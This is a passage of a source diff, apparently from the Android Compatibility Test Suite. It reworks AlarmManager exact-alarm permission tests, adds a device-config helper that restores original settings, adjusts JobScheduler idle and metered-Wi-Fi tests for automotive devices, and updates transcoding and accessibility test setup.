-    public void canScheduleExactAlarmWhenChangeDisabled() throws IOException {
-        disableChange();
-        revokeAppOp();
-        assertTrue(mAlarmManager.canScheduleExactAlarms());
+    public void canScheduleExactAlarmWhenChangeDisabled() throws Exception {
+        final CountDownLatch resultLatch = new CountDownLatch(1);
+        final AtomicBoolean apiResult = new AtomicBoolean(false);
+        final AtomicInteger result = new AtomicInteger(-1);
+
+        // Test app Targets sdk 30, so the change should be disabled.
+        final Intent requestToTestApp = new Intent(TestReceiver.ACTION_GET_CAN_SCHEDULE_EXACT_ALARM)
+                .setClassName(TestReceiver.PACKAGE_NAME, TestReceiver.class.getName())
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        sContext.sendOrderedBroadcast(requestToTestApp, null, new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                result.set(getResultCode());
+                final String resultStr = getResultData();
+                apiResult.set(Boolean.parseBoolean(resultStr));
+                resultLatch.countDown();
+            }
+        }, null, Activity.RESULT_CANCELED, null, null);
+        // TODO (b/192043206): revoke app op for helper app once ag/15001282 is merged.
+        assertTrue("Timed out waiting for response from helper app",
+                resultLatch.await(10, TimeUnit.SECONDS));
+        assertEquals(Activity.RESULT_OK, result.get());
+        assertTrue("canScheduleExactAlarm returned false", apiResult.get());
     }
 
     @Test(expected = SecurityException.class)
@@ -252,12 +315,20 @@
                 () -> mWhitelistManager.addToWhitelist(sContext.getOpPackageName()));
     }
 
-    @Test(expected = SecurityException.class)
-    public void setAlarmClockWithoutPermissionWithWhitelist() throws IOException {
+    @Test
+    public void setAlarmClockWithoutPermissionWithWhitelist() throws Exception {
         revokeAppOp();
         whitelistTestApp();
-        mAlarmManager.setAlarmClock(new AlarmManager.AlarmClockInfo(0, null), getAlarmSender(0,
-                false));
+        final long now = System.currentTimeMillis();
+        final int numAlarms = 100;   // Number much higher than any quota.
+        for (int i = 0; i < numAlarms; i++) {
+            final int id = mIdGenerator.nextInt();
+            final AlarmManager.AlarmClockInfo alarmClock = new AlarmManager.AlarmClockInfo(now,
+                    null);
+            mAlarmManager.setAlarmClock(alarmClock, getAlarmSender(id, false));
+            assertTrue("Alarm " + id + " not received",
+                    AlarmReceiver.waitForAlarm(id, DEFAULT_WAIT_FOR_SUCCESS));
+        }
     }
 
     @Test
@@ -442,8 +513,7 @@
         output = output.replaceFirst("^.*? mFgsStartTempAllowList:$", "");
 
         final String uidStr = UserHandle.formatUid(uid);
-        final String expected = "^\\s*" + uidStr
-                + ":.* reasonCode=REASON_SCHEDULE_EXACT_ALARM_PERMISSION_STATE_CHANGED.*";
+        final String expected = "^\\s*" + uidStr + ":";
         for (String line : output.split("\n")) {
             if (line.matches(expected)) {
                 return true;
@@ -452,83 +522,111 @@
         return false;
     }
 
+    private void prepareTestAppForBroadcast() {
+        // Just send an explicit foreground broadcast to the test app to make sure
+        // the app is out of force-stop.
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mPackageManager.setComponentEnabledSetting(mPermissionChangeReceiver,
+                        PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+                        PackageManager.DONT_KILL_APP));
+        Log.d(TAG, "Un-force-stoppping the test app");
+        Intent i = new Intent("ACTION_PING"); // any action
+        i.setComponent(mPermissionChangeReceiver);
+        i.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        sContext.sendBroadcast(i);
+    }
+
     @Test
     public void scheduleExactAlarmPermissionStateChangedSentAppOp() throws Exception {
-        // Revoke the permission.
-        revokeAppOp();
+        // Revoke the permission, and remove it from the temp-allowlist.
+        prepareTestAppForBroadcast();
+        Log.d(TAG, "Revoking the appop");
+        revokeAppOp(TEST_APP_PACKAGE);
+        removeFromWhitelists(TEST_APP_PACKAGE);
 
-        final int myUid = Process.myUid();
+        final int uid = getPackageUid(TEST_APP_PACKAGE);
+        TestUtils.waitUntil("Package still allowlisted",
+                () -> !checkThisAppTempAllowListed(uid));
 
-        // Because prior tests may already put the app on the temp allowlist, wait until
-        // it's removed from it...
-        // TODO(b/188789296) We should use `cmd deviceidle tempwhitelist -r PACKAGE-NAME`, but
-        //  it currently doesn't work.
-        TestUtils.waitUntil("App still on temp-allowlist", 60,
-                () -> !checkThisAppTempAllowListed(myUid));
+        Thread.sleep(1000); // Give the system a little time to settle down.
 
         final IntentFilter filter = new IntentFilter(
-                AlarmManager.ACTION_SCHEDULE_EXACT_ALARM_PERMISSION_STATE_CHANGED);
+                PermissionStateChangedReceiver.ACTION_FGS_START_RESULT);
+        final AtomicReference<String> resultHolder = new AtomicReference<>();
         final CountDownLatch latch = new CountDownLatch(1);
-        sContext.registerReceiver(new BroadcastReceiver() {
+        final BroadcastReceiver receiver = new BroadcastReceiver() {
             @Override
             public void onReceive(Context context, Intent intent) {
+                Log.d(TAG, "Received response intent: " + intent);
+                resultHolder.set(intent.getStringExtra(
+                        PermissionStateChangedReceiver.EXTRA_FGS_START_RESULT));
                 latch.countDown();
             }
-        }, filter);
+        };
+        sContext.registerReceiver(receiver, filter);
+        try {
+            Log.d(TAG, "Granting the appop");
+            setAppOp(TEST_APP_PACKAGE, AppOpsManager.MODE_ALLOWED);
 
-        // Grant again.
-        AppOpsUtils.setOpMode(sContext.getOpPackageName(), AppOpsManager.OPSTR_SCHEDULE_EXACT_ALARM,
-                AppOpsManager.MODE_ALLOWED);
-
-        assertTrue("Didn't receive ACTION_SCHEDULE_EXACT_ALARM_PERMISSION_STATE_CHANGED",
-                latch.await(30, TimeUnit.SECONDS));
-
-        // We really should try starting a foreground service to make sure the app is
-        // allowed to start an FGS here, but when an app is running on `am instrument`, it's always
-        // exempted anyway, so we can't do that. Instead, we just check the dumpsys output.
-        //
-        // TODO(b/188790230): Use the test app instead, and make sure the app can actually start
-        // the FGS.
-        assertTrue("App should be temp-allowlisted", checkThisAppTempAllowListed(myUid));
+            assertTrue("Didn't receive response",
+                    latch.await(30, TimeUnit.SECONDS));
+            assertEquals("Failure message should be empty", "", resultHolder.get());
+        } finally {
+            sContext.unregisterReceiver(receiver);
+        }
     }
 
     @Test
     public void scheduleExactAlarmPermissionStateChangedSentDenyList() throws Exception {
+        prepareTestAppForBroadcast();
+        Log.d(TAG, "Putting in deny list");
+        mDeviceConfigHelper.with("exact_alarm_deny_list", TEST_APP_PACKAGE)
+                .commitAndAwaitPropagation();
+        removeFromWhitelists(TEST_APP_PACKAGE);
+
+
+        final int uid = getPackageUid(TEST_APP_PACKAGE);
+        TestUtils.waitUntil("Package still allowlisted",
+                () -> !checkThisAppTempAllowListed(uid));
+
+        final IntentFilter filter = new IntentFilter(
+                PermissionStateChangedReceiver.ACTION_FGS_START_RESULT);
+        final AtomicReference<String> resultHolder = new AtomicReference<>();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                Log.d(TAG, "Received response intent: " + intent);
+                resultHolder.set(intent.getStringExtra(
+                        PermissionStateChangedReceiver.EXTRA_FGS_START_RESULT));
+                latch.countDown();
+            }
+        };
+        sContext.registerReceiver(receiver, filter);
+        try {
+            Log.d(TAG, "Removing from deny list");
+            mDeviceConfigHelper.without("exact_alarm_deny_list").commitAndAwaitPropagation();
+
+            assertTrue("Didn't receive response",
+                    latch.await(30, TimeUnit.SECONDS));
+            assertEquals("Failure message should be empty", "", resultHolder.get());
+        } finally {
+            sContext.unregisterReceiver(receiver);
+        }
+    }
+
+    /**
+     * Put this package itself in the deny list and then remove it.
+     * Make sure canScheduleExactAlarms() returns the right value at after each operation.
+     */
+    @Test
+    public void denyListedChangesCanScheduleExactAlarms() throws Exception {
         mDeviceConfigHelper.with("exact_alarm_deny_list", sContext.getOpPackageName())
                 .commitAndAwaitPropagation();
         assertFalse(mAlarmManager.canScheduleExactAlarms());
 
-        final int myUid = Process.myUid();
-
-        // Because prior tests may already put the app on the temp allowlist, wait until
-        // it's removed from it...
-        // TODO(b/188789296) We should use `cmd deviceidle tempwhitelist -r PACKAGE-NAME`, but
-        //  it currently doesn't work.
-        TestUtils.waitUntil("App still on temp-allowlist", 60,
-                () -> !checkThisAppTempAllowListed(myUid));
-
-        final IntentFilter filter = new IntentFilter(
-                AlarmManager.ACTION_SCHEDULE_EXACT_ALARM_PERMISSION_STATE_CHANGED);
-        final CountDownLatch latch = new CountDownLatch(1);
-        sContext.registerReceiver(new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                latch.countDown();
-            }
-        }, filter);
-
         mDeviceConfigHelper.without("exact_alarm_deny_list").commitAndAwaitPropagation();
         assertTrue(mAlarmManager.canScheduleExactAlarms());
 
-        assertTrue("Didn't receive ACTION_SCHEDULE_EXACT_ALARM_PERMISSION_STATE_CHANGED",
-                latch.await(30, TimeUnit.SECONDS));
-
-        // We really should try starting a foreground service to make sure the app is
-        // allowed to start an FGS here, but when an app is running on `am instrument`, it's always
-        // exempted anyway, so we can't do that. Instead, we just check the dumpsys output.
-        //
-        // TODO(b/188790230): Use the test app instead, and make sure the app can actually start
-        // the FGS.
-        assertTrue("App should be temp-allowlisted", checkThisAppTempAllowListed(myUid));
     }
 }
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/InstantAppsTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/InstantAppsTests.java
index 5daabeb..d851520 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/InstantAppsTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/InstantAppsTests.java
@@ -22,6 +22,7 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
+import android.alarmmanager.util.AlarmManagerDeviceConfigHelper;
 import android.app.AlarmManager;
 import android.content.Context;
 import android.os.SystemClock;
@@ -92,6 +93,6 @@
 
     @After
     public void deleteAlarmManagerSettings() {
-        mConfigHelper.deleteAll();
+        mConfigHelper.restoreAll();
     }
 }
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
index f4b74de..39307d5 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
@@ -22,6 +22,7 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
+import android.alarmmanager.util.AlarmManagerDeviceConfigHelper;
 import android.app.AlarmManager;
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
@@ -142,7 +143,7 @@
 
     @After
     public void tearDown() {
-        mConfigHelper.deleteAll();
+        mConfigHelper.restoreAll();
         BatteryUtils.runDumpsysBatteryReset();
         if (mTimeChanged) {
             // Make an attempt at resetting the clock to normal
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
index 8b2a17c..c76e976 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/UidCapTests.java
@@ -19,6 +19,7 @@
 
 import static org.junit.Assert.fail;
 
+import android.alarmmanager.util.AlarmManagerDeviceConfigHelper;
 import android.app.AlarmManager;
 import android.app.PendingIntent;
 import android.content.Context;
@@ -116,6 +117,6 @@
 
     @After
     public void deleteAlarmManagerConstants() {
-        mConfigHelper.deleteAll();
+        mConfigHelper.restoreAll();
     }
 }
diff --git a/hostsidetests/packagemanager/boottest/Android.bp b/tests/AlarmManager/util/Android.bp
similarity index 69%
copy from hostsidetests/packagemanager/boottest/Android.bp
copy to tests/AlarmManager/util/Android.bp
index 9d1f96e..9e5be3b 100644
--- a/hostsidetests/packagemanager/boottest/Android.bp
+++ b/tests/AlarmManager/util/Android.bp
@@ -16,18 +16,7 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-java_test_host {
-    name: "CtsPackageManagerBootTestCases",
-    defaults: ["cts_defaults"],
+filegroup {
+    name: "CtsAlarmUtils",
     srcs: ["src/**/*.java"],
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-    libs: [
-        "cts-tradefed",
-        "tradefed",
-        "compatibility-host-util",
-    ],
-}
\ No newline at end of file
+}
diff --git a/tests/AlarmManager/util/src/android/alarmmanager/util/AlarmManagerDeviceConfigHelper.java b/tests/AlarmManager/util/src/android/alarmmanager/util/AlarmManagerDeviceConfigHelper.java
new file mode 100644
index 0000000..e393cce
--- /dev/null
+++ b/tests/AlarmManager/util/src/android/alarmmanager/util/AlarmManagerDeviceConfigHelper.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.util;
+
+import static org.junit.Assert.assertTrue;
+
+import android.provider.DeviceConfig;
+import android.util.Log;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+public class AlarmManagerDeviceConfigHelper {
+    private static final String TAG = AlarmManagerDeviceConfigHelper.class.getSimpleName();
+
+    private static final long UPDATE_TIMEOUT = 30_000;
+
+    private volatile Map<String, String> mCommittedMap;
+    private final Map<String, String> mInitialPropertiesMap;
+    private final Map<String, String> mPropertiesToSetMap;
+
+    public AlarmManagerDeviceConfigHelper() {
+        mPropertiesToSetMap = new HashMap<>();
+        DeviceConfig.Properties initialProperties = null;
+        try {
+            initialProperties = SystemUtil.callWithShellPermissionIdentity(
+                    () -> DeviceConfig.getProperties(DeviceConfig.NAMESPACE_ALARM_MANAGER));
+        } catch (Exception e) {
+            Log.e(TAG, "Unexpected exception while fetching device_config properties", e);
+        }
+        if (initialProperties != null) {
+            for (String key : initialProperties.getKeyset()) {
+                mPropertiesToSetMap.put(key, initialProperties.getString(key, null));
+            }
+            mCommittedMap = mInitialPropertiesMap = Collections.unmodifiableMap(
+                    new HashMap<>(mPropertiesToSetMap));
+        } else {
+            mCommittedMap = mInitialPropertiesMap =  Collections.emptyMap();
+        }
+    }
+
+    public AlarmManagerDeviceConfigHelper with(String key, long value) {
+        return with(key, Long.toString(value));
+    }
+
+    public AlarmManagerDeviceConfigHelper with(String key, int value) {
+        return with(key, Integer.toString(value));
+    }
+
+    public AlarmManagerDeviceConfigHelper with(String key, boolean value) {
+        return with(key, Boolean.toString(value));
+    }
+
+    public AlarmManagerDeviceConfigHelper with(String key, String value) {
+        mPropertiesToSetMap.put(key, value);
+        return this;
+    }
+
+    public AlarmManagerDeviceConfigHelper without(String key) {
+        mPropertiesToSetMap.remove(key);
+        return this;
+    }
+
+    private static int getCurrentConfigVersion() {
+        final String output = SystemUtil.runShellCommand("cmd alarm get-config-version").trim();
+        return Integer.parseInt(output);
+    }
+
+    public static void commitAndAwaitPropagation(DeviceConfig.Properties propertiesToSet) {
+        final int currentVersion = getCurrentConfigVersion();
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> assertTrue(DeviceConfig.setProperties(propertiesToSet)));
+        PollingCheck.waitFor(UPDATE_TIMEOUT, () -> (getCurrentConfigVersion() > currentVersion),
+                "Could not update config within " + UPDATE_TIMEOUT + "ms. Current version: "
+                        + currentVersion);
+    }
+
+    public void commitAndAwaitPropagation() {
+        if (mPropertiesToSetMap.equals(mCommittedMap)) {
+            // This will not cause any change, and will not bump up the config version.
+            return;
+        }
+        commitAndAwaitPropagation(
+                new DeviceConfig.Properties(DeviceConfig.NAMESPACE_ALARM_MANAGER,
+                        mPropertiesToSetMap));
+        mCommittedMap = Collections.unmodifiableMap(new HashMap<>(mPropertiesToSetMap));
+    }
+
+    public void restoreAll() {
+        if (mCommittedMap.equals(mInitialPropertiesMap)) {
+            // This will not cause any change, and will not bump up the config version.
+            return;
+        }
+        commitAndAwaitPropagation(new DeviceConfig.Properties(DeviceConfig.NAMESPACE_ALARM_MANAGER,
+                mInitialPropertiesMap));
+        mCommittedMap = Collections.emptyMap();
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
index 4ca0c88..288cdff 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
@@ -60,7 +60,9 @@
         mJobScheduler.cancel(STATE_JOB_ID);
         // Put device back in to normal operation.
         toggleScreenOn(true);
-        setAutomotiveProjection(false);
+        if (isAutomotiveProjectionSupported()) {
+            setAutomotiveProjection(false);
+        }
 
         mUiDevice.executeShellCommand(
                 "settings put system screen_off_timeout " + mInitialDisplayTimeout);
@@ -150,17 +152,29 @@
     }
 
     /**
+     * Check if the device is an auto.
+     */
+    private boolean isAutomotive() {
+        return getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
+    /**
+     * Check if automotive projection is supported.
+     */
+    private boolean isAutomotiveProjectionSupported() {
+        // Auto doesn't support automotive projection.
+        return !isAutomotive();
+    }
+
+    /**
      * Check if dock state is supported.
      */
     private boolean isDockStateSupported() {
-        final boolean isCar = getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_AUTOMOTIVE);
-
         final boolean isLeanback = getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_LEANBACK_ONLY);
 
-        // Car and Leanback do not support dock state.
-        return !isCar && !isLeanback;
+        // Auto and Leanback do not support dock state.
+        return !isAutomotive() && !isLeanback;
     }
 
     /**
@@ -205,13 +219,11 @@
         if (on) {
             assertTrue(SystemUtil.callWithShellPermissionIdentity(
                     () -> uiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
-                    Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION,
-                    Manifest.permission.INTERACT_ACROSS_USERS_FULL));
+                    Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION));
         } else {
             SystemUtil.callWithShellPermissionIdentity(
                     () -> uiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
-                    Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION,
-                    Manifest.permission.INTERACT_ACROSS_USERS_FULL);
+                    Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION);
         }
         Thread.sleep(2_000);
     }
@@ -220,6 +232,10 @@
      * Ensure automotive projection is considered active.
      */
     public void testAutomotiveProjectionPreventsIdle() throws Exception {
+        if (!isAutomotiveProjectionSupported()) {
+            return;
+        }
+
         toggleScreenOn(false);
 
         setAutomotiveProjection(true);
@@ -244,31 +260,50 @@
         runSatisfiedJob();
         assertFalse("Job fired when the device was active.", kTestEnvironment.awaitExecution(500));
 
-        kTestEnvironment.setExpectedExecutions(0);
-        kTestEnvironment.setExpectedWaitForRun();
-        setAutomotiveProjection(true);
-        toggleScreenOn(false);
-        triggerIdleMaintenance();
-        assertJobWaiting();
-        assertJobNotReady();
-        kTestEnvironment.readyToRun();
-        runSatisfiedJob();
-        assertFalse("Job fired when the device was active.", kTestEnvironment.awaitExecution(500));
+        if (isAutomotiveProjectionSupported()) {
+            kTestEnvironment.setExpectedExecutions(0);
+            kTestEnvironment.setExpectedWaitForRun();
+            setAutomotiveProjection(true);
+            toggleScreenOn(false);
+            triggerIdleMaintenance();
+            assertJobWaiting();
+            assertJobNotReady();
+            kTestEnvironment.readyToRun();
+            runSatisfiedJob();
+            assertFalse("Job fired when the device was active.",
+                    kTestEnvironment.awaitExecution(500));
 
-        kTestEnvironment.setExpectedExecutions(1);
-        kTestEnvironment.setExpectedWaitForRun();
-        kTestEnvironment.setContinueAfterStart();
-        kTestEnvironment.setExpectedStopped();
-        setAutomotiveProjection(false);
-        triggerIdleMaintenance();
-        assertJobReady();
-        kTestEnvironment.readyToRun();
-        runSatisfiedJob();
-        assertTrue("Job didn't fire when the device became idle.",
-                kTestEnvironment.awaitExecution());
+            kTestEnvironment.setExpectedExecutions(1);
+            kTestEnvironment.setExpectedWaitForRun();
+            kTestEnvironment.setContinueAfterStart();
+            kTestEnvironment.setExpectedStopped();
+            setAutomotiveProjection(false);
+            triggerIdleMaintenance();
+            assertJobReady();
+            kTestEnvironment.readyToRun();
+            runSatisfiedJob();
+            assertTrue("Job didn't fire when the device became idle.",
+                    kTestEnvironment.awaitExecution());
+        } else {
+            kTestEnvironment.setExpectedExecutions(1);
+            kTestEnvironment.setExpectedWaitForRun();
+            kTestEnvironment.setContinueAfterStart();
+            kTestEnvironment.setExpectedStopped();
+            toggleScreenOn(false);
+            triggerIdleMaintenance();
+            assertJobReady();
+            kTestEnvironment.readyToRun();
+            runSatisfiedJob();
+            assertTrue("Job didn't fire when the device became idle.",
+                    kTestEnvironment.awaitExecution());
+        }
     }
 
     public void testIdleJobStartsOnlyWhenIdle_settingProjectionEndsIdle() throws Exception {
+        if (!isAutomotiveProjectionSupported()) {
+            return;
+        }
+
         runIdleJobStartsOnlyWhenIdle();
 
         setAutomotiveProjection(true);
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index 85715be..4d582a1 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -27,12 +27,15 @@
 
 import static com.android.compatibility.common.util.TestUtils.waitUntil;
 
+import static junit.framework.Assert.fail;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
+import android.Manifest;
 import android.app.AppOpsManager;
 import android.app.job.JobInfo;
 import android.app.job.JobParameters;
@@ -74,6 +77,9 @@
 import org.junit.runner.RunWith;
 
 import java.io.IOException;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 /**
  * Tests related to job throttling -- device idle, app standby and battery saver.
@@ -560,6 +566,7 @@
         // Add network
         setAirplaneMode(false);
         setWifiState(true, mCm, mWifiManager);
+        setWifiMeteredState(false);
         runJob();
         assertTrue("New job didn't start in RESTRICTED bucket",
                 mTestAppInterface.awaitJobStart(5_000));
@@ -875,6 +882,7 @@
         // Satisfy all additional constraints.
         setAirplaneMode(false);
         setWifiState(true, mCm, mWifiManager);
+        setWifiMeteredState(false);
         BatteryUtils.runDumpsysBatterySetPluggedIn(true);
         BatteryUtils.runDumpsysBatterySetLevel(100);
         setScreenState(false);
@@ -1052,6 +1060,10 @@
 
     private void toggleDozeState(final boolean idle) throws Exception {
         mUiDevice.executeShellCommand("cmd deviceidle " + (idle ? "force-idle" : "unforce"));
+        if (!idle) {
+            // Make sure the device doesn't stay idle, even after unforcing.
+            mUiDevice.executeShellCommand("cmd deviceidle motion");
+        }
         assertTrue("Could not change device idle state to " + idle,
                 waitUntilTrue(SHELL_TIMEOUT, () -> {
                     synchronized (JobThrottlingTest.this) {
@@ -1173,6 +1185,61 @@
         Thread.sleep(5000);
     }
 
+    private static String unquoteSSID(String ssid) {
+        // SSID is returned surrounded by quotes if it can be decoded as UTF-8.
+        // Otherwise it's guaranteed not to start with a quote.
+        if (ssid.charAt(0) == '"') {
+            return ssid.substring(1, ssid.length() - 1);
+        } else {
+            return ssid;
+        }
+    }
+
+    private String getWifiSSID() {
+        final AtomicReference<String> ssid = new AtomicReference<>();
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            ssid.set(mWifiManager.getConnectionInfo().getSSID());
+        }, Manifest.permission.ACCESS_FINE_LOCATION);
+        return unquoteSSID(ssid.get());
+    }
+
+    // Returns "true", "false" or "none"
+    private String getWifiMeteredStatus(String ssid) {
+        // Interestingly giving the SSID as an argument to list wifi-networks
+        // only works iff the network in question has the "false" policy.
+        // Also unfortunately runShellCommand does not pass the command to the interpreter
+        // so it's not possible to | grep the ssid.
+        final String command = "cmd netpolicy list wifi-networks";
+        final String policyString = SystemUtil.runShellCommand(command);
+
+        final Matcher m = Pattern.compile("^" + ssid + ";(true|false|none)$",
+                Pattern.MULTILINE | Pattern.UNIX_LINES).matcher(policyString);
+        if (!m.find()) {
+            fail("Unexpected format from cmd netpolicy (when looking for " + ssid + "): "
+                    + policyString);
+        }
+        return m.group(1);
+    }
+
+    private void setWifiMeteredState(boolean metered) throws Exception {
+        if (metered) {
+            // Make sure unmetered cellular networks don't interfere.
+            setAirplaneMode(true);
+            setWifiState(true, mCm, mWifiManager);
+        }
+        final String ssid = getWifiSSID();
+        setWifiMeteredState(ssid, metered ? "true" : "false");
+    }
+
+    // metered should be "true", "false" or "none"
+    private void setWifiMeteredState(String ssid, String metered) {
+        if (metered.equals(getWifiMeteredStatus(ssid))) {
+            return;
+        }
+        SystemUtil.runShellCommand("cmd netpolicy set metered-network " + ssid + " " + metered);
+        assertEquals(getWifiMeteredStatus(ssid), metered);
+    }
+
     private String getJobState() throws Exception {
         return mUiDevice.executeShellCommand("cmd jobscheduler get-job-state --user cur "
                 + TEST_APP_PACKAGE + " " + mTestJobId).trim();
diff --git a/tests/MediaProviderTranscode/src/android/mediaprovidertranscode/cts/TranscodeTest.java b/tests/MediaProviderTranscode/src/android/mediaprovidertranscode/cts/TranscodeTest.java
index e786076..5f6dbc7 100644
--- a/tests/MediaProviderTranscode/src/android/mediaprovidertranscode/cts/TranscodeTest.java
+++ b/tests/MediaProviderTranscode/src/android/mediaprovidertranscode/cts/TranscodeTest.java
@@ -34,6 +34,7 @@
 import static org.junit.Assert.assertTrue;
 
 import android.Manifest;
+import android.content.pm.PackageManager;
 import android.media.ApplicationMediaCapabilities;
 import android.media.MediaFormat;
 import android.net.Uri;
@@ -47,6 +48,7 @@
 import android.os.UserHandle;
 import android.provider.MediaStore;
 
+import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.cts.install.lib.TestApp;
@@ -106,6 +108,12 @@
         Assume.assumeFalse(
                 "Using GSI", SystemProperties.get("ro.build.product").contains("generic"));
 
+        PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+        Assume.assumeFalse("FEATURE_LEANBACK", pm.hasSystemFeature(pm.FEATURE_LEANBACK));
+        Assume.assumeFalse("FEATURE_WATCH", pm.hasSystemFeature(pm.FEATURE_WATCH));
+        Assume.assumeFalse("FEATURE_AUTOMOTIVE", pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE));
+
         TranscodeTestUtils.pollForExternalStorageState();
         TranscodeTestUtils.grantPermission(getContext().getPackageName(),
                 Manifest.permission.READ_EXTERNAL_STORAGE);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index 95965a0..c47a216 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -33,7 +33,7 @@
 import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
 import static android.accessibilityservice.cts.utils.GestureUtils.path;
 import static android.accessibilityservice.cts.utils.GestureUtils.times;
-import static android.view.InputDevice.ACCESSIBILITY_DEVICE_ID;
+import static android.view.KeyCharacterMap.VIRTUAL_KEYBOARD;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
@@ -55,6 +55,7 @@
 import android.accessibilityservice.GestureDescription.StrokeDescription;
 import android.accessibilityservice.cts.activities.AccessibilityTestActivity;
 import android.app.Instrumentation;
+import android.app.UiAutomation;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.graphics.Matrix;
@@ -75,7 +76,9 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import org.hamcrest.Matcher;
+import org.junit.AfterClass;
 import org.junit.Before;
+import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.RuleChain;
@@ -96,6 +99,9 @@
     private static final int GESTURE_COMPLETION_TIMEOUT = 5000; // millis
     private static final int MOTION_EVENT_TIMEOUT = 1000; // millis
 
+    private static Instrumentation sInstrumentation;
+    private static UiAutomation sUiAutomation;
+
     private ActivityTestRule<GestureDispatchActivity> mActivityRule =
             new ActivityTestRule<>(GestureDispatchActivity.class, false, false);
 
@@ -125,24 +131,37 @@
 
     private GestureDispatchActivity mActivity;
 
+    @BeforeClass
+    public static void oneTimeSetup() {
+        sInstrumentation = getInstrumentation();
+        sUiAutomation = sInstrumentation.getUiAutomation(
+                UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+    }
+
+    @AfterClass
+    public static void postTestTearDown() {
+        sUiAutomation.destroy();
+    }
+
     @Before
     public void setUp() throws Exception {
-        Instrumentation instrumentation = getInstrumentation();
-        PackageManager pm = instrumentation.getContext().getPackageManager();
+        PackageManager pm = sInstrumentation.getContext().getPackageManager();
         mHasTouchScreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
                 || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
         if (!mHasTouchScreen) {
             return;
         }
 
